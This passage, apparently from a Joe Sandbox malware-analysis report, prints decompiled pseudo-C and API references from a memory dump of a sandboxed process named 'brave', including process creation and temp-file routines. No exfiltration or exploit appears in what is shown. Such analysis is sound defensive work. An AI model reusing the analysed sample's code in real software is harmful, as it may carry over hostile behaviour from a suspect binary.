				if ( *((long long*)(_t183 + 0x40)) == 0) goto 0x7bef4640;
				 *((long long*)( *((intOrPtr*)(_t183 + 0x40)))) = _t205;
				if (__rdx == 0) goto 0x7bef473d;
				if ( *((long long*)(_t183 + 0x10)) == 0) goto 0x7bef4708;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t183 + 0x10)))) +  *__rcx * 8)) = __rdx;
				goto 0x7bef44f6;
				E00007FF77FF77BEF7060(); // executed
				if ( *((long long*)(_t183 + 0x38)) == 0) goto 0x7bef406b;
				if ( *_t252 != 0) goto 0x7bef4318;
				E00007FF77FF77BEF7060();
				E00007FF77FF77BEF84D0( *((intOrPtr*)( *_t252 + 0x38)));
				_t185 =  *_t252;
				if (_t185 != 0) goto 0x7bef4087;
				E00007FF77FF77BEF7060();
				_t186 =  *_t252;
				if ( *((long long*)(_t185 + 0x48)) == 0) goto 0x7bef4458;
				if (_t186 != 0) goto 0x7bef4092;
				E00007FF77FF77BEF7060();
				goto 0x7bef4092;
				 *((long long*)(_t186 + 0x10)) = _t260;
				goto 0x7bef40ca;
				E00007FF77FF77BEF7060();
				_t187 =  *_t252;
				if ( *((long long*)(_t186 + 0x40)) == 0) goto 0x7bef40f5;
				if (_t187 != 0) goto 0x7bef40b0;
				E00007FF77FF77BEF7060();
				if ( *((intOrPtr*)( *((intOrPtr*)(_t187 + 0x40)))) - _t205 <= 0) goto 0x7bef4b5d;
				_t189 =  *_t252;
				if (_t189 != 0) goto 0x7bef40bb;
				E00007FF77FF77BEF7060();
				if ( *((long long*)(_t189 + 0x10)) == 0) goto 0x7bef4358;
				if ( *_t252 != 0) goto 0x7bef40c6;
				E00007FF77FF77BEF7060();
				_t191 =  *_t252;
				goto 0x7bef40ca;
				 *((long long*)(_t191 + 0x10)) = _t260;
				goto 0x7bef4132;
				E00007FF77FF77BEF7060();
				_t192 =  *_t252;
				if ( *((long long*)(_t191 + 0x48)) == 0) goto 0x7bef415d;
				if (_t192 != 0) goto 0x7bef4118;
				E00007FF77FF77BEF7060();
				if ( *((intOrPtr*)( *((intOrPtr*)(_t192 + 0x48)))) - _t205 <= 0) goto 0x7bef4b65;
				_t194 =  *_t252;
				if (_t194 != 0) goto 0x7bef4123;
				E00007FF77FF77BEF7060();
				if ( *((long long*)(_t194 + 0x10)) == 0) goto 0x7bef43d8;
				if ( *_t252 != 0) goto 0x7bef412e;
				E00007FF77FF77BEF7060();
				_t196 =  *_t252;
				goto 0x7bef4132;
				 *((long long*)(_t196 + 0x48)) = 0x7c1a13c0;
				goto 0x7bef4099;
				 *_t251 = _t205;
				if (_t253 == 0) goto 0x7bef4570;
				if (_t196 == 0) goto 0x7bef4728;
				_t96 = _t95 & 0xffffff00 |  *((long long*)(_t196 + 0x10)) != 0x00000000;
				if (_t96 == 0) goto 0x7bef455c;
				if (_t196 == 0) goto 0x7bef47cb;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x10)))))) = _t253;
				if (_t196 == 0) goto 0x7bef46f3;
				if ((_t96 & 0xffffff00 |  *((long long*)(_t196 + 0x38)) != 0x00000000) == 0) goto 0x7bef454f;
				if (_t196 != 0) goto 0x7bef4502;
				E00007FF77FF77BEF7060();
				goto 0x7bef4502;
				 *_t251 = _t205;
				if (_t253 == 0) goto 0x7bef451c;
				if (_t196 == 0) goto 0x7bef4a4e;
				if ( *((long long*)(_t196 + 0x10)) == 0) goto 0x7bef46e3;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x10)))))) = _t253;
				if (_t196 == 0) goto 0x7bef4539;
				if ( *((long long*)(_t196 + 0x38)) == 0) goto 0x7bef454f;
				return E00007FF77FF77BEF8410( *((intOrPtr*)(_t196 + 0x38)));
			}

0x7ff77bef403e
0x7ff77bef4041
0x7ff77bef4047
0x7ff77bef404d
0x7ff77bef4054
0x7ff77bef405a
0x7ff77bef4065
0x7ff77bef4072
0x7ff77bef4076
0x7ff77bef407b
0x7ff77bef4081
0x7ff77bef408c
0x7ff77bef4099
0x7ff77bef40a9
0x7ff77bef40b4
0x7ff77bef40b9
0x7ff77bef40c0
0x7ff77bef40dc
0x7ff77bef40e8
0x7ff77bef40f3
0x7ff77bef40f8
0x7ff77bef40fe
0x7ff77bef4110
0x7ff77bef4112
0x7ff77bef411c
0x7ff77bef4121
0x7ff77bef4128
0x7ff77bef4144
0x7ff77bef4150
0x7ff77bef415b
0x7ff77bef4160
0x7ff77bef4166
0x7ff77bef416b
0x7ff77bef4176
0x7ff77bef4180
0x7ff77bef4189
0x7ff77bef4192
0x7ff77bef4198
0x7ff77bef419d
0x7ff77bef41a7
0x7ff77bef41ae
0x7ff77bef41b5
0x7ff77bef41c2
0x7ff77bef41c8
0x7ff77bef41e3
0x7ff77bef41ee
0x7ff77bef41fb
0x7ff77bef4200
0x7ff77bef4203
0x7ff77bef4209
0x7ff77bef4212
0x7ff77bef421d
0x7ff77bef422e
0x7ff77bef4231
0x7ff77bef423b
0x7ff77bef424d
0x7ff77bef4252
0x7ff77bef4258
0x7ff77bef4263
0x7ff77bef426d
0x7ff77bef4270
0x7ff77bef4276
0x7ff77bef4281
0x7ff77bef428b
0x7ff77bef428e
0x7ff77bef4296
0x7ff77bef42a0
0x7ff77bef42a4
0x7ff77bef42ac
0x7ff77bef42b8
0x7ff77bef42bf
0x7ff77bef42c9
0x7ff77bef42ce
0x7ff77bef42d9
0x7ff77bef42e8
0x7ff77bef42ec
0x7ff77bef42f8
0x7ff77bef4305
0x7ff77bef430e
0x7ff77bef4310
0x7ff77bef431c
0x7ff77bef4321
0x7ff77bef4327
0x7ff77bef432d
0x7ff77bef4337
0x7ff77bef433a
0x7ff77bef4343
0x7ff77bef4349
0x7ff77bef434e
0x7ff77bef4358
0x7ff77bef4363
0x7ff77bef4370
0x7ff77bef437a
0x7ff77bef437d
0x7ff77bef4386
0x7ff77bef438c
0x7ff77bef4397
0x7ff77bef439d
0x7ff77bef43a3
0x7ff77bef43a9
0x7ff77bef43b9
0x7ff77bef43be
0x7ff77bef43c4
0x7ff77bef43cd
0x7ff77bef43d0
0x7ff77bef43d8
0x7ff77bef43e3
0x7ff77bef43f0
0x7ff77bef43fa
0x7ff77bef43fd
0x7ff77bef4406
0x7ff77bef440c
0x7ff77bef4417
0x7ff77bef441d
0x7ff77bef4423
0x7ff77bef4429
0x7ff77bef4439
0x7ff77bef443e
0x7ff77bef4444
0x7ff77bef444d
0x7ff77bef4450
0x7ff77bef445f
0x7ff77bef4463
0x7ff77bef4470
0x7ff77bef4475
0x7ff77bef447e
0x7ff77bef4489
0x7ff77bef448e
0x7ff77bef4497
0x7ff77bef44a4
0x7ff77bef44ab
0x7ff77bef44bb
0x7ff77bef44c4
0x7ff77bef44c6
0x7ff77bef44cb
0x7ff77bef44d0
0x7ff77bef44d5
0x7ff77bef44da
0x7ff77bef44e5
0x7ff77bef44f2
0x7ff77bef44f9
0x7ff77bef4500
0x7ff77bef451b

APIs

realloc.MSVCRT ref: 00007FF77BEF41FB

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: realloc
String ID:
API String ID: 471065373-0
Opcode ID: e336d157d8cadeff1a172b5fc071843bb7c4cd571cbffa88969bb0cc07652b88
Instruction ID: ddc2958342da770dc1f97ea44834fda9afa72c3ae911c1df7fb70240c93d567c
Opcode Fuzzy Hash: e336d157d8cadeff1a172b5fc071843bb7c4cd571cbffa88969bb0cc07652b88
Instruction Fuzzy Hash: B962FA77A39B0689EAA4AF4DE450B79A6B0EF44B80FC54435DA4D073A9DFBDF4448320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF3F00 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00007FF77FF77BEF3F00(void* __rax, intOrPtr* __rcx, void* __rdx) {
				intOrPtr _t12;
				intOrPtr _t20;

				_t12 =  *__rcx;
				if (__rdx == 0) goto 0x7bef4018;
				if (_t12 == 1) goto 0x7bef3f68;
				E00007FF77FF77BEF0F00(__rcx);
				_t1 = _t12 + 8; // 0x8
				E00007FF77FF77BEF04E0(_t1);
				_t20 =  *__rcx;
				if (_t20 == 0) goto 0x7bef3f80;
				if (_t20 != 1) goto 0x7bef3ff0;
				E00007FF77FF77BEF0800(_t1);
				return E00007FF77FF77BEF1110(_t12);
			}

0x7ff77bef3f0b
0x7ff77bef3f16
0x7ff77bef3f1f
0x7ff77bef3f21
0x7ff77bef3f26
0x7ff77bef3f30
0x7ff77bef3f35
0x7ff77bef3f39
0x7ff77bef3f3e
0x7ff77bef3f47
0x7ff77bef3f61

APIs

Part of subcall function 00007FF77BEF0F00: calloc.MSVCRT(?,?,00007FF898063CA0,00007FF77BEF3F26,?,?,?,?,0000012490A517F0,00007FF898063CA0,?,00007FF77BEF029B,0000012490A517F0,00000000,00007FF898063CA0,00007FF77BEE32FA), ref: 00007FF77BEF10A4

fprintf.MSVCRT ref: 00007FF77BEF400B

Strings

once %p is %d, xrefs: 00007FF77BEF4001

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: callocfprintf
String ID: once %p is %d
API String ID: 3366074580-95064319
Opcode ID: 6e9b06d7a7e3d48af93b056f8de7be245cf1a8abe53ffd6387711d9ba53eb8ef
Instruction ID: d5716d1bc8a0271f9693673120c33457779f556869a9dcfd51af396d514f1aa2
Opcode Fuzzy Hash: 6e9b06d7a7e3d48af93b056f8de7be245cf1a8abe53ffd6387711d9ba53eb8ef
Instruction Fuzzy Hash: 5831E473A3974184FA95AB1CA8002B9A2A4BF84794FC44076EE0C073B9EE7CE580C221

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE27F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00007FF77FF77BEE27F0(void* __edi, void* __esp, long long __rcx, void* __rdx, long long __r8) {
				void* _v136;
				void* _v144;
				void* _v148;
				void* _v156;
				void* _v172;
				void* _v180;
				void* _v188;
				void* _v196;
				void* _v204;
				void* _v212;
				void* _v220;
				void* _v228;
				int _t16;
				void* _t18;
				signed int _t19;
				intOrPtr* _t29;
				void* _t36;

				memset(__edi, _t16, _t19 << 0);
				 *((long long*)(_t36 + 0x40)) = __r8;
				 *((long long*)(_t36 + 0x58)) = _t36 + 0x68;
				 *((long long*)(_t36 + 0x48)) = _t36 + 0x70;
				_t29 =  *0x7c196640; // 0x7ff77c1a1078
				 *((intOrPtr*)(_t36 + 0x30)) = r9d;
				r9d = 0;
				 *((long long*)(_t36 + 0x70)) = 0x68;
				 *((long long*)(__rcx)) = 0;
				 *((long long*)(__rcx + 8)) = 0;
				 *((long long*)(__rcx + 0x10)) = 0;
				 *((long long*)(_t36 + 0x50)) = __rcx;
				 *((long long*)(_t36 + 0x38)) = 0;
				 *((long long*)(_t36 + 0x28)) = 0;
				 *((long long*)(_t36 + 0x20)) = 0;
				_t18 =  *_t29(0); // executed
				return _t18;
			}

0x7ff77bee2812
0x7ff77bee281a
0x7ff77bee2822
0x7ff77bee282e
0x7ff77bee2833
0x7ff77bee283a
0x7ff77bee283f
0x7ff77bee2842
0x7ff77bee284a
0x7ff77bee2852
0x7ff77bee285b
0x7ff77bee2864
0x7ff77bee2869
0x7ff77bee2872
0x7ff77bee287a
0x7ff77bee2883
0x7ff77bee2892

APIs

CreateProcessInternalW.KERNELBASE ref: 00007FF77BEE2883

Strings

h, xrefs: 00007FF77BEE2842

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CreateInternalProcess
String ID: h
API String ID: 2186235152-2439710439
Opcode ID: 8bba045a17cefcb5b05322b069f8357d251dc813df342985f80b1a2e19d1b3c7
Instruction ID: f89c40ad7f7cc27247d9cd4f9e1288f613732d59c4fa790b476fe3d1b3bdfd79
Opcode Fuzzy Hash: 8bba045a17cefcb5b05322b069f8357d251dc813df342985f80b1a2e19d1b3c7
Instruction Fuzzy Hash: 1A01E832618B8082E7508F54F45874BB7A4F788784FA08129EBC807B68DFBDC159CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE4880 Relevance: 3.1, APIs: 2, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 38%

			E00007FF77FF77BEE4880(void* __edi, void* __esp, void* __rax, void* __rcx, void* __rdx, void* __r9) {
				void* _v596;
				void* _v608;
				char _v1112;
				int _t7;
				void* _t10;
				signed int _t11;
				void* _t36;
				void* _t40;

				memset(__edi, _t7, _t11 << 0);
				asm("adc eax, 0x2bdc83");
				r8d = 0;
				GetTempFileNameW(??, ??, ??, ??); // executed
				r8d = r12d;
				_t10 = E00007FF77FF77BEE4530(0,  &_v1112, _t40, _t36); // executed
				if (0xffffffffffffffff - 0xfffffffd <= 0) goto 0x7bee4928;
				return _t10;
			}

0x7ff77bee48b4
0x7ff77bee48d8
0x7ff77bee48e0
0x7ff77bee48e8
0x7ff77bee48ee
0x7ff77bee48f7
0x7ff77bee4907
0x7ff77bee4921

APIs

GetTempPathW.KERNEL32 ref: 00007FF77BEE48D7
GetTempFileNameW.KERNEL32 ref: 00007FF77BEE48E8

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: Temp$FileNamePath
String ID:
API String ID: 3285503233-0
Opcode ID: a36c255382f679e79db51f353ae47516e0c81a59047a74ca63f1b497fb31ef1a
Instruction ID: 5941e8fa34e63d073c1d5d55b99f9d68febc7201d3b0349169f82c0ede8292ea
Opcode Fuzzy Hash: a36c255382f679e79db51f353ae47516e0c81a59047a74ca63f1b497fb31ef1a
Instruction Fuzzy Hash: D831A27262868581F6509A66B45476EA361BB857F4F900231EEBC17BECDFBDD0458700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE4000 Relevance: 2.5, APIs: 2, Instructions: 44COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF77BEE401C
wcscpy.MSVCRT ref: 00007FF77BEE405F

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: wcscpywcslen
String ID:
API String ID: 225642448-0
Opcode ID: 97bf6b18d38952cc1e7bab5118d0ebb15cef15114d82f46dfd9f4697655be916
Instruction ID: 27f91eb3743ff9b42bd9b77e824bfa7f79cc5b4240dc03ef5bb826e0964e7590
Opcode Fuzzy Hash: 97bf6b18d38952cc1e7bab5118d0ebb15cef15114d82f46dfd9f4697655be916
Instruction Fuzzy Hash: 62F02D23B3909554FA607EADA8003FA9260BB047D4FC84531FE4E053B9EDACB686C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE6121 Relevance: 1.3, APIs: 1, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00007FF77FF77BEE6121(void* __ebx, signed int __edx, void* __rax, void* __rbx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t151;
				signed int _t152;
				signed char _t153;
				signed int _t155;
				signed int _t161;
				signed int _t165;
				signed int _t166;
				void* _t168;
				void* _t194;
				intOrPtr _t198;
				signed long long _t201;
				long long* _t207;
				long long* _t210;
				long long* _t213;
				long long* _t216;
				long long* _t219;
				intOrPtr* _t222;
				intOrPtr _t223;
				long long _t224;
				char* _t225;
				signed char* _t226;
				long long* _t229;
				long long* _t232;
				signed char* _t235;
				long long* _t238;
				signed char* _t239;
				signed char* _t241;
				signed char* _t242;
				intOrPtr _t275;
				intOrPtr _t277;
				intOrPtr _t279;
				intOrPtr _t281;
				intOrPtr _t283;
				intOrPtr _t285;
				intOrPtr _t288;
				intOrPtr _t290;
				intOrPtr _t292;
				intOrPtr _t295;
				intOrPtr _t299;
				long long _t315;
				long long* _t319;
				long long* _t323;
				signed char* _t325;
				signed char* _t326;
				long long _t337;
				void* _t342;

				_t165 = __edx;
				_t198 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t198 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf126bc;
				_t319 = (_t151 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t319 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t198 + 1;
				_a40 = _t319;
				 *_t319 = 0x2c;
				_t152 =  *(__r8 + 2) & 0x000000ff;
				_t168 = _t152 - 9;
				_t153 = _t152 & 0xffffff00 | _t168 < 0x00000000;
				_t201 = _t153 & 0x000000ff;
				 *(_t319 + 0x18) = _t153;
				if (_t168 > 0) goto 0x7bee6174;
				E00007FF77FF77BEE4E90(_t201, __rbx, __rdx, __r8, _t342);
				E00007FF77FF77BEE5BC0();
				_a40[0x10] = _t201;
				if (_a40[0x10] == 0) goto 0x7bee5c20;
				_t155 = E00007FF77FF77BEE4E90(_a40, __rbx, __rdx, __r8, _t342);
				if (_t165 == 0) goto 0x7bee61ae;
				 *(__rbx + 0x18) =  &(( *(__rbx + 0x18))[1]);
				_t166 = _t165 & 0xffffff00 | _t165 == 0x00000073;
				_a40[0x1a] = _t166;
				_t275 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t275 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bee5c20;
				_t207 = (_t166 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(__rbx + 0x28)) = _t275 + 1;
				 *_t207 = 0;
				 *((long long*)(_t207 + 8)) = 0;
				 *((long long*)(_t207 + 0x10)) = "decltype(auto)";
				 *((long long*)(_t207 + 0x18)) = 0xe;
				_t277 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t277 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bee5c20;
				_t210 = (_t166 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(__rbx + 0x28)) = _t277 + 1;
				 *_t210 = 0;
				 *((long long*)(_t210 + 8)) = 0;
				 *((long long*)(_t210 + 0x10)) = 0x7c193a36;
				 *((long long*)(_t210 + 0x18)) = 4;
				_t279 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t279 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf126c9;
				_t213 = (_t166 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t213 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t279 + 1;
				 *_t213 = 0x27;
				 *((long long*)(_t213 + 0x10)) = 0x7c195380;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 4;
				_t281 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t281 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf126dc;
				_t216 = (_t166 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t216 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t281 + 1;
				 *_t216 = 0x27;
				 *((long long*)(_t216 + 0x10)) = 0x7c195320;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 9;
				_t283 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t283 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf126a9;
				_t219 = (_t166 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t219 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t283 + 1;
				 *_t219 = 0x27;
				 *((long long*)(_t219 + 0x10)) = 0x7c1953c0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 8;
				_t285 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t285 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12702;
				_t286 = _t285 + 1;
				_t222 = (_t166 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t222 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t285 + 1;
				 *_t222 = 0x27;
				 *((long long*)(_t222 + 0x10)) = 0x7c195360;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 0xa;
				goto 0x7bee5c22;
				 *_t222 =  *_t222 + _t155;
				_t223 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t223 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bee5c20;
				_t224 = _t223 + 1;
				_t323 = (_t155 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t323 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t224;
				 *_t323 = 0x42;
				E00007FF77FF77BEE4E90(_t224, __rbx, _t286, __r8, _t342);
				 *((long long*)(_t323 + 0x10)) = _t224;
				_t225 =  *(__rbx + 0x18);
				if ( *_t225 != 0x5f) goto 0x7bee5c20;
				_t226 = _t225 + 1;
				 *(__rbx + 0x18) = _t226;
				E00007FF77FF77BEE5BC0();
				E00007FF77FF77BEE4DD0();
				_a40 = _t226;
				_t288 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t288 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12670;
				_t229 = (_t166 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t229 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t288 + 1;
				 *_t229 = 0x27;
				 *((long long*)(_t229 + 0x10)) = 0x7c195340;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 9;
				_t290 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t290 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12715;
				_t232 = (_t166 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t232 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t290 + 1;
				 *_t232 = 0x27;
				 *((long long*)(_t232 + 0x10)) = 0x7c195400;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 0x11;
				_t292 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t292 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf126ef;
				_t235 = (_t166 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t235 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t292 + 1;
				 *_t235 = 0x27;
				 *((long long*)(_t235 + 0x10)) = 0x7c1953a0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 7;
				E00007FF77FF77BEE5BC0();
				r9d = 0;
				E00007FF77FF77BEE4DD0();
				_a40 = _t235;
				_t295 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t295 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12683;
				_t238 = (_t166 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t238 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t295 + 1;
				 *_t238 = 0x27;
				 *((long long*)(_t238 + 0x10)) = 0x7c1953e0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 8;
				goto 0x7bee5c22;
				E00007FF77FF77BEE6EE0(_t238, __rbx);
				_a40 = _t238;
				if (_t238 == 0) goto 0x7bee5c20;
				if ( *_t238 != 0x18) goto 0x7bee5d39;
				goto 0x7bee5c22;
				goto 0x7bee6051;
				_t239 = _t238 + 1;
				 *(__rbx + 0x18) = _t239;
				E00007FF77FF77BEE89F0(__rbx);
